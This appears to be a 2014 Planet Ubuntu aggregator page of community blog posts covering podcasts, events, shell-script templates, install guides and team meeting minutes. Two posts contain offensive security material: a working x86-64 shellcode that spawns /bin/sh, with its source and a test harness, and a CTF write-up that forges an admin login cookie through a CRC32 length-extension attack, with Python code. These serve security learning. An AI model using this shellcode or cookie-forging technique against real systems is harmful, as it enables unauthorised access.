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Updated: 1 hour 25 min ago

Ubuntu Podcast from the UK LoCo: S07E10 – The One with the Ultimate Fighting Champion

Fri, 2014-06-06 06:57

We’re back with Season Seven, Episode Nine of the Ubuntu Podcast! Alan Pope, Mark Johnson, Tony Whitmore, and Laura Cowen are drinking tea and eating very rich chocolate cake (like this one, only more chocolatey) in Studio L.

 Download OGG  Download MP3 Play in Popup

In this week’s show:

  • We interview Martin Wimpress from the MATE desktop team.
    • If you want to know the memory requirements of the many different desktop environments, see his blog.
    • Also, he is a maintainer of the MATE LiveCD.
  • We also discuss:
    • Beards. Again.
    • Secret projects that can’t be talked about.
    • Getting even closer to sending Tony up a mountain in Malawi.
    • Going on an Ubuntu Sprint to Malta.
    • Moving web and email hosting to Clook, a Northern hosting service.
  • We share some Gooey Lurve from Mark:
    “Undo Closed Tab” in Firefox
  • And we read your feedback – thanks for sending it in!

We’ll be back next week, so please send your comments and suggestions to: podcast@ubuntu-uk.org
Join us on IRC in #uupc on Freenode
Leave a voicemail via phone: +44 (0) 203 298 1600, sip: podcast@sip.ubuntu-uk.org and skype: ubuntuukpodcast
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Benjamin Kerensa: Speaking at OSCON 2014

Fri, 2014-06-06 05:52

Mozillians at OSCON 2013

In July, I’m speaking at OSCON. But before that, I have some other events coming up including evangelizing Firefox OS at Open Source Bridge and co-organizing Community Leadership Summit. But back to OSCON; I’m really excited to speak at this event. This will be my second time speaking (I must not suck?) and this time I have a wonderful co-speaker Alex Lakatos who is coming in from Romania.

For me, OSCON is a really special event because very literally it is perhaps the one place you can find a majority of the most brilliant minds in Open Source all at one event. I’m always very ecstatic to listen to some of my favorite speakers such as Paul Fenwick who always seems to capture the audience with his talks.

This year, Alex and I are giving a talk on “Getting Started Contributing to Firefox OS,” a platform that we both wholeheartedly believe in and we think folks who attend OSCON will also be interested in.

#OSCON 2014 presents “Getting Started Contributing to Firefox OS” by @bkerensa of @mozilla http://t.co/f1iumzhg1q

— O’Reilly OSCON (@oscon) May 14, 2014

 


And last but not least, for the first time in some years Mozilla will have a booth at OSCON and we will be doing demos of the newest Firefox OS handsets and tablets and talking on some other topics. Be sure to stop by the booth and to fit our talk into your schedule. If you are arriving in Portland early, then be sure to attend the Community Leadership Summit which occurs the two days before OSCON, and heck, be sure to attend Open Source Bridge while you’re at it.

The Fridge: Renewed call for 12:00 UTC Membership Board Nominees

Thu, 2014-06-05 18:04

At the end of April we called for nominations to the Membership Board, this board oversees the addition of people to Ubuntu Members, needless to say we, and we would hope you, believe this to be an important part of the Ubuntu Community.

Since then the Membership Board has received some nominations, however, up to now all the received nominations are for the 22:00UTC board.

So… we are in need of people that are able to fulfill this important job specifically for the 12:00UTC.

If you fulfill the requirements to be nominated AND can do so at the all important time slot please consider either nominating yourself or somebody else (please confirm they wish to accept the nomination and state you have done so), please send a mail to the membership boards mailing list (ubuntu-membership-boards at lists.ubuntu.com) by Friday, June 20th. You will want to include some information about yourself (or the applicant you are nominating) and a launchpad profile link.

To recap on the requirements for this position

  • be an Ubuntu member (preferably for some time)
  • be confident that you can evaluate contributions to various parts of our community
  • be committed to attending the membership meetings at 12:00UTC
  • broad insight into the Ubuntu community at large is a plus

Additionally, those sitting on membership boards are current Ubuntu Members with a proven track record of activity in the community. They have shown themselves over time to be able to work well with others and display the positive aspects of the Ubuntu Code of Conduct. They should be people who can discern character and evaluate contribution quality without emotion while engaging in an interview/discussion that communicates interest, a welcoming atmosphere, and which is marked by humanity, gentleness, and kindness. Even when they must deny applications, they should do so in such a way that applicants walk away with a sense of hopefulness and a desire to return with a more complete application rather than feeling discouraged or hurt.

Without sufficient people to run the 12:00 UTC session we are in a position where it is possible that we’ll be forced to move to running only one session for Ubuntu Membership. We’d hate to see this happen, but if so, the Community Council will work closely with the Membership Board to make sure we serve the needs of the APAC region, possibly through a modified membership application process for people who are unable to attend the 22:00 UTC session.

Elizabeth K. Joseph, on behalf of the Ubuntu Community Council

Zygmunt Krynicki: Moving to my own email address

Thu, 2014-06-05 17:02
So I've been using Gmail for a good while. I have three accounts, one personal, one for Canonical personality and one dead for my Linaro personality.

Using Google products with more than one account is a frustrating experience. Especially with hangouts that apparently just don't work at all without private browsing. But that's just a minor annoyance.

The Linaro experience taught me that nothing lasts unless you own it. With that in mind I've decided to move my primary personal address away from @gmail.com to my own domain.

My new address is related to my twitter handle @zygoon (since my usual nickname was not available) on my own domain, zygoon.pl. If, by any chance, you have zkrynicki@gmail.com in your address book I'd like to ask you to update it to:

me@zygoon.pl
I've published updated GPG keys in case you were wondering.

José Antonio Rey: Need help rooting or flashing your Nexus device? The solution is here!

Thu, 2014-06-05 03:40

A couple days ago, Android 4.4.3 was released. I have a Nexus device, so I was waiting for the OTA update. I had the 4.4.2 update on the queue, though, so I decided to go ahead and apply it. But my recovery partition had the TeamWin Recovery installed, which didn’t like the upgrade. So, I asked a friend of mine and he ended up giving me a simple solution for my flashing and rooting problems: Nexulockr.

Nexulockr is a program written by Ian Santopietro, which makes the task of managing your Nexus device (in terms of the previously mentioned stuff) way too easy. So, I went ahead and downloaded the Android 4.4.3 factory image for my device, and patiently waited. Well, I couldn’t expect to download it quickly with this 400 KB/s connection. While I did, the new Nexulockr version finished uploading, and I was getting ready to add the PPA to my machine. Doing it is as simple as executing the following commands:

sudo add-apt-repository ppa:nexulockr-dev/nexulockr-beta
sudo apt-get update
sudo apt-get install nexulockr

That, after another bit of waiting, installed Nexulockr into my machine. And I was ready to go! I opened the program and this magic screen appeared (with all my device info, of course):

The process of flashing the image was super quick and easy. I just clicked on the right button, and this other window appeared:

In the factory image I downloaded, I got lots of .img files compressed into one gzip. Problem is, sometimes you don’t know what image to flash first or last. Nexulockr solves this problem by having the buttons in the order the images need to be flashed. I went ahead and started flashing the images. No additional efforts were needed on my side, just selecting the image and clicking that automagic button while my phone was connected.

The next day, I found out my root had disappeared (for obvious reasons), so I had to root my phone again. Guess what – Nexulockr also helped me with that. I went ahead, connected my phone, and clicked the “Root” button. I selected “Root device” and I just had to do one press on my phone to confirm the root. And that was it. No tedious command line interaction!

The developer states that Nexulockr may work with some other devices, but this is not guaranteed. Still, for all those of you with Nexus devices, this may come in handy at some point. As I am writing this, a build for the beta package is ongoing. So, why not give it a try after it’s done?


Fumihito YOSHIDA: Ubuntu 14.04 LTS release party + Offline meeting 14.04 Tokyo

Thu, 2014-06-05 03:11
A few weeks ago, Ubuntu Japanese Team convene "Ubuntu 14.04 LTS release party + Offline meeting 14.04" with co-sponsored by GREE, Inc and around 100 attendances. That event combine the hackathon and seminar sessions, we have it both ways.

Virtual tour:
1) A lot of sandwitchs (for 100 enlister) and party dishes.


Note: These represent just the tip of the iceberg. But, they completely-disappeared within 20 minutes....:)


2) A lot of Ubuntu 14.04 LTS CDs (From LoCo kit, thanks Canonical!) with *pretty* stuffed Tahr and Unicorn (owner: Shibata Mitsuya).






3) Terazono Junya with LipoD(Lipovitan D, Japanese popular energy drink).
 


4) Large screen (very nice, thanks GREE!)



5) Retrospective by Jun. Ubuntu Japanese Team create "Ubuntu Japanese Remix" for a long time (about 8years), He is great leader.




6) Seminar by Tokura Aya (Microsoft). She is evangelist/image character of Microsoft Azure/Cloud in Japan.
 



7) Seminar by Shiobara Hiroaki(GMO Internet). He escort "Mikumo-Conoha", the macot fay of "ConoHa" (CMO's Cloud service). 
 

8) Seminar by Yokota Masatoshi(Sakura Internet), He and Mr. Shiobara starts a verbal battle like Wrestling Entertainment (Its entertainment. They keep friendliness and respets, but thats engage in a heated debate. I Know, they give the right hand of fellowship after sessions. :) ).



One of sessions theme are "Retrospective", overview for 10 years of ubuntu.

- "Ubuntu and Me, a certain ubuntu user's voice" by Terazono Junya (indivisual, but he is famous planetary informatics scientist, a.k.a. "Hayabusa project's PR expert with LipoD" ).
- "Retrospective last 10 years" by Kobayashi Jun (Ubuntu Japanese Team)

Another seminar sessions focused "VPS and Cloud production environment with Ubuntu", line-up as follows.

- "Ubuntu + Microsoft Azure, Quickguide before a you use Azure"  by Tokura Aya, a.k.a. "Cloudia Madobe" (Microsoft Corporation).
- "Ubuntu on Microsoft Azure" by Tsumura Akira (Japan Azure User Group)
- "GMO Cloud with Ubuntu 14.04" by Shiobara Hiroaki (GMO Internet)
- "Using Ubuntu on Sakura's VPS/Cloud" by Yokota Masatoshi (Sakura Internet)
- "Using Juju for your Ubuntu environment" by Matsumoto Takenori (Canonical)

Yes, they are awesome presenters(thanks!), they distribute Ubuntu environment as a Cloud/VPS operator. We can use Ubuntu on there VPS/Cloud service with your one-click operation. Excellent!


And, You can check an another report on gihyo.jp (http://gihyo.jp/admin/serial/01/ubuntu-recipe/0325) by Terauchi Yasuyuki (in Japanese), that sponsored by GIHYO.

In closing, I would like to thank you all for convention. Thanks a lot!

David Tomaschik: Minimal x86-64 shellcode for /bin/sh?

Thu, 2014-06-05 01:54

I was trying to figure out the minimal shellcode necessary to launch /bin/sh from a 64-bit processor, and the smallest I could come up with is 25 bytes: \x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05.

This was produced from the following source:

BITS 64 main: mov rbx, 0xFF978CD091969DD1 neg rbx push rbx xor eax, eax cdq xor esi, esi push rsp pop rdi mov al, 0x3b ; sys_execve syscall

Compile with nasm, examine the output with objdump -M intel -b binary -m i386:x86-64 -D shellcode.

Here's a program for testing:

#include <sys/mman.h> #include <stdint.h> char code[] = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"; int main(){ mprotect((void *)((uint64_t)code & ~4095), 4096, PROT_READ|PROT_EXEC); (*(void(*)()) code)(); return 0; }

I'd like to find a good tool to compile my shellcode, extract as hex, build a test bin, and run it, all in one. Should be a trivial python script, actually.

Daniel Pocock: Trialing the xTuple/PostBooks next generation web UI

Wed, 2014-06-04 20:35

For some time I've been using PostBooks to keep track of finances. The traditional PostBooks system has a powerful Qt GUI.

The xTuple team have been hard at work creating a shiny new web-based user interface.

The traditional UI has no dedicated server - all users communicate directly with the PostgreSQL database where stored procedures and triggers ensure the correct logic is applied.

The new model provides an xTuple application server that can handle requests from web users and potentially other third-party apps too.

Who is it for?

Some people may feel that the web UI is intended to appeal to mobile users. While it is useful for mobile and tablet devices, this is not strictly the aim, John has discussed this in a blog.

One benefit of the web UI is that accountants and book-keepers do not need to have a copy of every exact PostBooks version that every client is using. Given that many people only need their accountant to look at their books for just a few hours at the end of each year, the ease of access with a web UI will make a big difference.

Trying it out quickly

The xTuple Git repository provides a script to install the whole server quickly. Initially it just supported a single Ubuntu release, I just contributed some tweaks to generalize it for Debian wheezy and potentially other releases. It doesn't appear too difficult to generalize it further for Fedora or RHEL users.

To get going, I recommend trying it in a fresh virtual machine, either in a server environment or desktop VirtualBox solution. The installation script will install various packages on the machine and mess about with the PostgreSQL setup so you will not want to run the automated setup script on any machine where you have existing databases.

Once the virtual machine is setup, make sure sudo is installed and configured:


# apt-get install sudo
# visudo

and then run the install as your normal user:


git clone --recursive git://github.com/xtuple/xtuple.git
cd xtuple
git remote add XTUPLE git://github.com/xtuple/xtuple.git
git fetch XTUPLE
git checkout `git describe --abbrev=0`
chmod a+x scripts/install_xtuple.sh
scripts/install_xtuple.sh

If all goes well, 5-10 minutes later it is ready to run:


cd node-datasource
node main.js

The port numbers will appear on the screen and you can connect with a web browser.

Trying it out

Despite my comments above to the effect that this is not primarily aimed at mobile, the first and second device I tested with were both mobile devices, Samsung Galaxy S3 and a Samsung Galaxy Note 3. I feel the Note is far better for this type of application, primarily due to screen size and the fact that most of the forms in the application have fields that launch popup menus. It appears to work in both Chrome and Firefox on these devices.

One handy feature is that the mobile device can dial numbers directly from the CRM address book, this is facilitated with the tel URI.

My impression is that this is still a product that is in the final stages of development, although some people will be able to use it almost immediately. One significant thing to note is that the database schema is very stable due to the long history of the traditional xTuple/PostBooks products.

The Fridge: Alternate Meeting Channel

Wed, 2014-06-04 20:24

Over the past several years the Ubuntu community has grown to encompass projects that range a variety of teams that work on everything from tablets to servers.

We’ve recently been seeing an increase in meeting time collisions among teams, so we’ve decided to go ahead and open an alternate meeting channel called #ubuntu-meeting-2 where teams can host their meetings if a meeting is already happening in #ubuntu-meeting during the time they want to host their own meeting. The Ubuntu Technical Board was the first to have their meeting on the schedule for this new channel!

If your team wants to have their meetings scheduled in our meetings ground, please let us know by dropping an email to ubuntu-news-team@lists.ubuntu.com or contacting us on IRC at #ubuntu-news on irc.freenode.net (click here to join from your browser).

Aurélien Gâteau: A template for shell-based command-line scripts

Wed, 2014-06-04 16:54

If you write shell scripts, you may be familiar with the situation where you wrote a script, and now would like to extend it to add some optional argument. Said script being a temporary hack (as temporary as those tend to be...) you end up writing a quick'n'dirty command-line parser, suffering limitations like fixed argument orders or other things which make tools annoying to use, but which would take too much time to get right than would be worth for this tiny shell script.

I felt this annoyance many times while writing scripts. To avoid that situation, I used to have a template which made use of the getopt binary but I always found it cumbersome: annoying to work with and hard to read again when coming back to my code after a while. Recently I came up with a simpler, slightly more manual, alternative.

The whole template looks like this:

#!/bin/sh set -e PROGNAME=$(basename $0) die() { echo "$PROGNAME: $*" >&2 exit 1 } usage() { if [ "$*" != "" ] ; then echo "Error: $*" fi cat << EOF Usage: $PROGNAME [OPTION ...] [foo] [bar] <Program description>. Options: -h, --help display this usage message and exit -d, --delete delete things -o, --output [FILE] write output to file EOF exit 1 } foo="" bar="" delete=0 output="-" while [ $# -gt 0 ] ; do case "$1" in -h|--help) usage ;; -d|--delete) delete=1 ;; -o|--output) output="$2" shift ;; -*) usage "Unknown option '$1'" ;; *) if [ -z "$foo" ] ; then foo="$1" elif [ -z "$bar" ] ; then bar="$1" else usage "Too many arguments" fi ;; esac shift done if [ -z "$bar" ] ; then usage "Not enough arguments" fi cat <<EOF foo=$foo bar=$bar delete=$delete output=$output EOF

Note: the die function is not used by the template itself, but most of the scripts I write needs such a function at some point, which is why it is there.

This template supports:

  • Short and long options (-d and --delete for example)
  • Options with and without arguments
  • Arbitrary position for options: myscript foo -d will do the same as myscript -d foo
  • Aborting when invalid options are passed
  • Checks for mandatory positional arguments

This last feature is done in two parts. First the *) case in the while loop sets variables as it goes through arguments and aborts if too many arguments are passed. Once the code leaves the while loop, a check is done on the last argument: if it is empty the code aborts complaining about missing arguments.

Supporting a variable number of arguments

A common change is accepting a variable number of arguments. If you are confident your arguments will never contain spaces or other weird characters, then you can do the following changes:

  1. Declare an empty args variable before the while loop:

    args=""
  2. Replace the code in the *) case with something like this:

    *) args="$args $1" ;;
  3. Remove the check for the last argument or alter it to check if args is empty.

  4. Iterate over the arguments with:

    for arg in $args ; do # Do work here done

If you want to support arguments which contain spaces, that's another story. The simplest solution I know of is to make use of Bash arrays. The changes would thus look like this:

  1. Change the shebang to #!/bin/bash.

  2. Declare an empty args array before the while loop:

    args=()
  3. Replace the code in the *) case with something like this:

    *) args=(${args[@]} "$1") ;;
  4. Same as before: remove the check for the last argument or alter it to check if args is empty.

  5. Iterate over the arguments with:

    for arg in ${args[@]} ; do # Do work here done

Higher percentage of cabalistic symbols in there, but that's the price one has to pay to manipulate arrays with Bash.

Pros and cons

Compared to getopt, this template has a few advantages but also limitations one must be aware of:

  • Pros
    • No need to list the options again in a call to getopt
    • Less boilerplate: getopt requires you to run it, then eval its output
    • Positional arguments are handled in the same loop which handles the options
  • Cons
    • No support for concatenated short options: -ab is not the same as -a -b.
    • No support for separating option arguments with an equal sign: you must write --output file.log and not --output=file.log.

That's it for this template, hope it is useful to you.

Jorge Castro: Juju is now on Github

Wed, 2014-06-04 13:55

We’ve got some changes in Juju and the Juju ecosystem that have been landing this week.

Ian Booth announced the move of Juju core to github.com. You can find all our work at: https://github.com/juju.

Workflow instructions for contributing are available in the CONTRIBUTING file. Ian also adds:

Once the dust settles on the migration of juju-core, we’ll also be migrating various dependencies like goose, gwacl, gomaasapi and golxc.

You can find the code for Juju Core at: https://github.com/juju/juju

On a related note, we have a one way mirror of the Juju Charm Store as well: https://github.com/charms

You can combine these with Francesco Banconi’s git-deploy plugin to deploy right from github, as an example:

juju git-deploy charms/mysql

Hopefully 2-way syncing will be possible soon, stay tuned!

David Murphy: Enabling Students in a Digital Age: Charlie Reisinger at TEDxLancaster

Wed, 2014-06-04 13:44

This is really inspiring to me, on several levels: as an Ubuntu member, as a Canonical, and as a school governor.

Not only are they deploying Ubuntu and other open-source software to their students, they are encouraging those students to tinker with their laptops, and – better yet – some of those same students are directly involved in the development, distribution, and providing support for their peers. All of those students will take incredibly valuable experience with them into their future careers.

Well done.

The post Enabling Students in a Digital Age: Charlie Reisinger at TEDxLancaster appeared first on David Murphy.

David Tomaschik: Secuinside Quals 2014: Simple Login

Wed, 2014-06-04 02:08

In this challenge, we received the source for a site with a pretty basic login functionality. Aside from some boring forms, javascript, and css, we have this PHP library for handling the session management:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50<? class common{ public function getidx($id){ $id = mysql_real_escape_string($id); $info = mysql_fetch_array(mysql_query("select idx from member where id='".$id."'")); return $info[0]; } public function getpasswd($id){ $id = mysql_real_escape_string($id); $info = mysql_fetch_array(mysql_query("select password from member where id='".$id."'")); return $info[0]; } public function islogin(){ if( preg_match("/[^0-9A-Za-z]/", $_COOKIE['user_name']) ){ exit("cannot be used Special character"); } if( $_COOKIE['user_name'] == "admin" ) return 0; $salt = file_get_contents("../../long_salt.txt"); if( hash('crc32',$salt.'|'.(int)$_COOKIE['login_time'].'|'.$_COOKIE['user_name']) == $_COOKIE['hash'] ){ return 1; } return 0; } public function autologin(){ } public function isadmin(){ if( $this->getidx($_COOKIE['user_name']) == 1){ return 1; } return 0; } public function insertmember($id, $password){ $id = mysql_real_escape_string($id); mysql_query("insert into member(id, password) values('".$id."', '".$password."')") or die(); return 1; } } ?>

Some first impressions:

  • MySQL calls seem to be properly escaped.
  • The auth cookie is using the super-weak crc32.
  • Setting the user_name cookie to 'admin' won't work out for us.

In index.php, we see:

1 2 3if($common->islogin()){ if($common->isadmin()) $f = "Flag is : ".__FLAG__; else $f = "Hello, Guest!";

So, presumably, the correct user is actually 'admin', but we can't log in as that. So what to do? Well, after playing around for a bit, I realized one important point. By default, MySQL uses case-insensitive string comparisons but, of course, PHP's == operator is case-sensitive. So a mixed-case version of admin will pass the test in islogin() but will return the user we want in getidx(), but we can't log in as any variation of admin as the password will still be needed.

That brings us to the hash. Perhaps we could fake the hash for an uppercased admin user? While we could probably brute force the salt, that would take a while. However, crc32 is vulnerable to trivial hash length extension attacks, if you can set the internal state to an existing hash. That is: crc32(a+b) == crc32(b, crc32(a)). So, since the salt is at the beginning, if we have the crc32 for a user, we can easily concatenate anything on the end and still generate a valid hash. (Assuming an implementation of crc32 that allows you to set the existing internal state.)

One rub: while python allows you to set the state, it doesn't implement the same CRC-32 as PHP! (I thought there was only one CRC-32, but apparently the one in python's binascii and zlib modules is the zlib CRC-32, and the PHP hash one is the bz2 CRC-32.) So I was able to find the relevant lookup table for the BZ2 crc-32 and write this implementation:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18import struct crc_table = [ 0x00000000L, 0x04c11db7L, 0x09823b6eL, 0x0d4326d9L, ...snip... 0xbcb4666dL, 0xb8757bdaL, 0xb5365d03L, 0xb1f740b4L ] def bzcrc(s, init=None): if init: state = struct.unpack('>I', struct.pack('<I', ~init & 0xffffffff))[0] else: state = 0xffffffff for c in s: state = state & 0xffffffff state = ((state << 8) ^ (crc_table[(state >> 24) ^ (ord(c))])) return hex(struct.unpack('>I', struct.pack('<I', ~state & 0xffffffff))[0])

And yes, I do some weird stuff with byte-order swapping, but it works for the one off. So, we logged in as the user 'a', got a hash, then changed the user_name cookie to aDMIN, and calculated the new hash via: bzcrc('DMIN', <existing hash>). Updated the hash cookie, refresh, and we've got a flag.

Ubuntu Server blog: Meeting Minutes: June 3rd, 2014

Tue, 2014-06-03 19:27
Agenda
  • Review ACTION points from previous meeting
  • U Development
  • Server & Cloud Bugs (caribou)
  • Weekly Updates & Questions for the QA Team (psivaa)
  • Weekly Updates & Questions for the Kernel Team (smb, sforshee)
  • Ubuntu Server Team Events
  • Open Discussion
  • Announce next meeting date, time and chair
Minutes
  • vUDS is next week (Tues-Thurs) – Pat (gaughen) is still working on topics, so if someone has a suggestion please talk to her.
  • bug 1319555 should not be on the list – list needs refreshing
  • bug 1315052 has fix committed upstream
  • bug 1317587 is in progress
  • The team is working on getting the blueprints filled out completely.  Expecting them to be solidified around vUDS.
  • Louis (caribou) created blueprint: https://blueprints.launchpad.net/ubuntu/+spec/servercloud-u-networked-kdump and working on getting it filled in and approved.
  • kdump may be added to vUDS agenda
  • There’s an Openstack meetup in London on Thursday – James (jamespage) and Liam (gnuoy) are attending.  http://www.eventbooking.uk.com/openstack/home.html
Next Meeting

Next meeting will be on Tuesday, June 10th at 16:00 UTC in #ubuntu-meeting.

Additional logs @ https://wiki.ubuntu.com/MeetingLogs/Server/20140603

Ubuntu Kernel Team: Kernel Team Meeting Minutes – June 03, 2014

Tue, 2014-06-03 17:13
Meeting Minutes

IRC Log of the meeting.

Meeting minutes.

Agenda

20140603 Meeting Agenda


ARM Status

No new update this week.


Release Metrics and Incoming Bugs

Release metrics and incoming bug data can be reviewed at the following link:

http://people.canonical.com/~kernel/reports/kt-meeting.txt


Milestone Targeted Work Items    apw    core-1405-kernel    2 work items       ogasawara    core-1405-kernel    2 work items   


Status: Utopic Development Kernel

We have most recently rebased our Utopic kernel to v3.15-rc8 and
uploaded (3.15.0-5.10). We are planning on converging on the v3.16
kernel for Utopic. It also appears that the Utopic release date has
been pushed out a week to Thurs Oct 23 in order to not conflict with
the Linux Plumbers Conference.
—–
Important upcoming dates:
Mon-Wed June 10 – 12, UOS – Ubuntu Online Summit (~1 week away)
Thurs Jun 26 – Alpha 1 (~3 weeks away)
Fri Jun 27 – Kernel Freeze for 12.04.5 and 14.04.1 (~3 weeks away)


Status: CVE’s

The current CVE status can be reviewed at the following link:

http://people.canonical.com/~kernel/cve/pkg/ALL-linux.html


Status: Stable, Security, and Bugfix Kernel Updates – Trusty/Saucy/Precise/Lucid

Status for the main kernels, until today (June 3):

  • Lucid – Verification and Testing
  • Precise – Verification and Testing
  • Quantal – No changes this cycle
  • Saucy – Verification and Testing
  • Trusty – Verification and Testing

    Current opened tracking bugs details:

  • http://people.canonical.com/~kernel/reports/kernel-sru-workflow.html

    For SRUs, SRU report is a good source of information:

  • http://people.canonical.com/~kernel/reports/sru-report.html

    Schedule:

    cycle: 18-May through 07-Jun
    ====================================================================
    16-May Last day for kernel commits for this cycle
    18-May – 24-May Kernel prep week.
    25-May – 31-May Bug verification & Regression testing.
    01-Jun – 07-Jun Regression testing & Release to -updates.


Open Discussion or Questions? Raise your hand to be recognized

No open discussions.

David Planella: A new era for the Ubuntu community team, or business as usual

Tue, 2014-06-03 17:06

A sample of the wider Ubuntu Community team, with Canonicalers and volunteer core app developers

After the recent news of Jono stepping down as the Ubuntu Community Manager to seek new challenges at XPRIZE, a new era in Ubuntu begins. Jono’s leadership, passion and drive to continually push the boundaries have been contagious over the years, and have been the catalyst for growing the unique community of individuals that defines Ubuntu today.

Jono is now joining the ranks of non-Canonical Ubuntu members, and while this will change the angle of participation, I’m certain that it won’t change his energy and dedication one bit. But most importantly, it’s a testament to his work that his former team will continue to thrive and take up the torch in pushing those boundaries.

For us, it will be business as usual in the sense of implementing our roadmap, continuing to grow a strong and open community, being innovative in how we do it, and coordinating the logistics around our plans. So not much will be different in that regard, but obviously some organizational bits will change.

As part of the transition, the Ubuntu Community Team at Canonical in full, that is, Michael Hall, Daniel Holbach, Alan Pope, Nicholas Skaggs and myself, will now be hosting the weekly Ubuntu Q&A, starting today at 18:00 UTC on Ubuntu On Air (click here for the time at your location).

The Ubuntu Community Team Q&A

Openness, both in being a transparent and welcoming community, is one of the core values of Ubuntu, and we believe the channels should be always open for a healthy information flow and to help contributors get involved.

As such, the Ubuntu Community Team Q&A will continue to provide a weekly, 1-hour-long session open for participation to anyone who wants to ask their questions about Ubuntu. In fact, as in former editions, you can ask the Community Team just anything about Free Software, Technology, or whatever you come up with. As before, the only questions we won’t answer are those related to technical support, where you’ll be much better served using Ask Ubuntu, the Ubuntu forums or IRC.

Join the Ubuntu Community Team Q&A at 18:00 UTC today and ask your questions >

The Ubuntu Online Summit is coming soon!

Also, following the thread of events and participation, the new Ubuntu Online Summit (UOS) is coming up very soon, and it’s an excellent opportunity to learn about getting involved in Ubuntu, organizing or presenting the plans of the different Ubuntu teams for the next months.

UOS will be held on June 10th – 12th and it will be a combination of the former Ubuntu Developer Summit and the more user-facing events we’ve been organizing in the past. This opens the door to a wider audience that can follow a richer mix of developer and user or contributor content.

If you want to learn about the details, check out Michael’s UOS post on how it’s going to work. If you want to contribute and make a difference in Ubuntu, do register a session too!

Looking forward to seeing you soon!

The post A new era for the Ubuntu community team, or business as usual appeared first on David Planella.

Svetlana Belkin: Calling for Community UOS 14.06 Tracks

Tue, 2014-06-03 14:09

The Ubuntu Online Submit is next week (June 12 – June 14) and we are still seeking proposals for all of the tracks that are listed in this blog post.  Since I’m one of the Community Track leads, you may ask me questions on how to propose a session/track or any other questions.  You can also suggest ideas to me and I can help you get them into a session/track.  Scheduling questions can be directed to me also.

See you at the UOS!

 

 

 


Daniel Pocock: Click to dial for mobile users of your web sites

Tue, 2014-06-03 09:47

If there was a trivial way to let mobile phone users call you from your web site, just by adding a single HTML element to the page, would you do it?

In fact, there is. It doesn't even require a mobile WebRTC browser. It works for virtually any smartphone and a growing number of desktops too.

Introducing the tel: URI

The tel: URI is defined in RFC 3966.

For most mobile phone users, if they click a link to a tel: URI, their browser will copy the link into their dialer for convenience.

To protect users against calls to 0900 premium rate numbers, the user still has to make one more click to confirm they want to dial.

Examples

Here is a tel: URI:

tel:+44-20-7135-7070

Here is how to create a link with it:

<a href="tel:+44-20-7135-7070">020 7135 7070 (from abroad: +44 20 7135 7070)</a>

and here is how it looks on the page:

Call me on 020 7135 7070 (from abroad: +44 20 7135 7070)

and here is what appears on the mobile device after a user clicks the tel: URI link:

For desktop users too

Many desktop users can also benefit from tel: URIs. If they have a modern telephone system in their office, the system administrator may have already added a tel: URI handler to their desktop.

Anyone with a software PBX or a SIP account can also potentially use the TBDialOut extension for Firefox to help convert tel: URIs into sip: URIs or URLs for some bespoke dialer.

For those who want extra convenience, the Telify extension for Firefox will look for phone numbers in any HTML page and display them as tel: URIs so you can click them even if the web developer overlooked this.

Nathan Haines: Ubuntu Installfest with OCLUG

Tue, 2014-06-03 03:35

Last Saturday, Ubuntu held an installfest along with the Orange County Linux Users Group (OCLUG) in Fullerton, California. Thanks to the enthusiasm of OCLUG and its members, and the assistance of volunteers from the Ubuntu California Local Community Team, the event was a success.

OCLUG used to hold Linux installfests all the time, but has been fairly dormant the past couple of years, with meeting attendance small but consistent. Late last year, they considered holding an installfest as a way to get more interest from students and the community. The LUG agreed that it was best to promote a single distribution to reduce confusion and that teasing or jokes about other software—even though good-natured—was to be avoided during the event. A simple majority agreed that a default Ubuntu install was the best distro to offer to new users and it was agreed that anyone who came in wanting to install specific software would be welcomed as well. This was a compromise that everyone was happy with and it allowed the installfest to be a focused event.

OCLUG meets once a month at California State University Fullerton, and so advertising for the event was done with flyers, which were posted around the campus and in nearby coffee shops. It contained a simple pitch for Ubuntu, a URL for OCLUG and a QR code for the OCLUG installfest information page. We also emailed school faculty with information about the installfest, attaching a PDF of the flyers as well as a single-page “talking points” flyer that had a bulleted list talking about Ubuntu, installfests, and OCLUG, to encourage faculty to discuss the event with their students.

Ubuntu California supplied their secondary banner and table cloth, and Canonical arranged for reimbursement for pizza costs. Both were funded via the Ubuntu community donations from the Ubuntu download page, so I am very grateful to the generosity of the community. Canonical also provided Ubuntu 14.04 LTS discs and a conference pack with giveaway items. I designed name badges for both the OCLUG volunteers and the installfest attendees, and I also adapted the installfest liability release forms and data sheet forms from the Installfest HOWTO so that they matched the flyers and other documents.

When the day of the installfest finally arrived, we had four Ubuntu volunteers and nine OCLUG volunteers. We had 7 attendees, with 4 who brought their computers for an install and 3 more who simply wanted to attend and learn more about Ubuntu. Everyone arrived on time and enjoyed the donuts and coffee provided by OCLUG as is usual for their meetings. We had a greeter or two by the parking structure to direct attendees to the classroom. An OCLUG volunteer passed out the installfest forms and I had the Ubuntu volunteers distribute a standard swag pack for each attendee: Ubuntu lanyard, sticker sheet, pen, button, and Desktop install disc. Stephan Ingram, the president of OCLUG welcomed everyone and introduced me, then I gave my presentation to the group. I briefly discussed operating systems and the ideals of Free Software so that I could go into detail about what and why Ubuntu offers a complete computing solution that is elegant and easy to use. I described the Ubuntu and local Linux communities, and then quickly explained the release forms and discussed some USB keys that were available for purchase. Then installation began.

Everyone helped out and the attendees were able to get Ubuntu installed on their machines and have conversations about computer and software, and everyone had a good time. I burned some 32-bit Ubuntu discs for a couple attendees and passed out the Xubuntu discs I had prepared for slower machines. The pizza came, and while everyone was eating I showed off Ubuntu on my phone, demonstrating phone and desktop convergence using the Weather app. After the pizza was finished, I returned to the front of the room to demonstrate the key features of the Unity desktop interface, discuss the benefits of Unity’s online search and how to turn it off, and how to enable Autohide, change the desktop background, and use the Ubuntu Software Center and the Unity Dash to search for and install applications. Using Stellarium as an example, I then proceeded to launch and demonstrate this virtual planetarium software as an example of the rich content available with Free Software solutions.

